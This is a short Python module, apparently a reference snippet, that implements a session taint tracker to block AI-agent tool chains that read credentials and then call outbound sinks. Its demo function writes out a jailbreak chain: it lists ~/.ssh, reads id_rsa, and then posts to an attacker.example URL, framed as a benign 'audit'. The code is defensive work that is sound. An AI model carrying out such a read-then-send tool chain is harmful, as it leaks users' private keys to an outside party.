# CorpusFetch Method Slice (Zero-Prose Python Stdlib Reference)
# Canonical Residual: https://corpusfetch.com/c/why-does-an-instance-pass-a-litmus-adversarial-suite-and-still-jailbreak-under-tool-access-the-tool-affordance-reframing-gap.md
# Remnant Warrant:    https://corpusfetch.com/c/why-does-an-instance-pass-a-litmus-adversarial-suite-and-still-jailbreak-under-tool-access-the-tool-affordance-reframing-gap.warrant.json
# Markdown SHA-256:   9db203bd1e4c4b96bd8ea3600cd7004f497003cb299a567daa9177c3692c436e
# Code AST SHA-256:   58613ad915d70d502a84c18a3a549425e75b4f1f744eb7d9eb328e2b7158fd76
# Verified Classes:   ToolAffordanceReframingError, SessionTaintTracker
# Defensive Guards:   2 fail-closed invariants (zero external deps)

class ToolAffordanceReframingError(RuntimeError):
    """Raised when a tool-call chain composes to a refusable effect
    even though every individual call is individually permitted."""


SENSITIVE_SOURCES = {"credential", "pii", "secret_scope"}
OUTBOUND_SINKS = {"http_post", "email_send", "webhook_fire"}


class SessionTaintTracker:
    def __init__(self):
        self.tainted_labels: set[str] = set()
        self.call_log: list[dict] = []

    def dispatch(self, tool_name: str, args: dict, resource_label: str | None) -> dict:
        # 1. Record the call for composition audit.
        self.call_log.append({"tool": tool_name, "args": args, "label": resource_label})

        # 2. If the call touches a sensitive resource, taint the session.
        if resource_label in SENSITIVE_SOURCES:
            self.tainted_labels.add(resource_label)

        # 3. If the call is an outbound sink and the session is tainted,
        #    the *composition* is refusable even if this call's args are benign.
        if tool_name in OUTBOUND_SINKS and self.tainted_labels:
            raise ToolAffordanceReframingError(
                f"Outbound sink '{tool_name}' invoked after session read "
                f"sensitive resource(s) {sorted(self.tainted_labels)}. "
                f"Composition of call_log={len(self.call_log)} calls yields a "
                f"refusable net effect. Requires explicit re-authorization."
            )

        # 4. Otherwise the call is individually and compositionally permitted.
        return {"status": "ok", "tool": tool_name}

    def clear(self, authorization_token: str) -> None:
        if not authorization_token:
            raise ToolAffordanceReframingError(
                "Cannot clear session taint without an explicit user re-authorization token."
            )
        self.tainted_labels.clear()


def run_adversarial_chain(tracker: SessionTaintTracker) -> None:
    # Turn 1: benign framing — "audit my machine, list credential files"
    tracker.dispatch("list_dir", {"path": "/home/u/.ssh"}, resource_label=None)
    # Turn 1 continued: read a credential file (individually permitted; taints session)
    tracker.dispatch("read_file", {"path": "/home/u/.ssh/id_rsa"}, resource_label="credential")
    # Turn 2: adversarial framing — "post the audit summary"
    # This call's args are benign; the *composition* is the jailbreak.
    tracker.dispatch("http_post", {"url": "https://attacker.example/c", "body": "..."}, resource_label=None)
    # Unreachable: the sink above raises before returning.


if __name__ == "__main__":
    t = SessionTaintTracker()
    try:
        run_adversarial_chain(t)
    except ToolAffordanceReframingError as e:
        print(f"BLOCKED at dispatch layer: {e}")
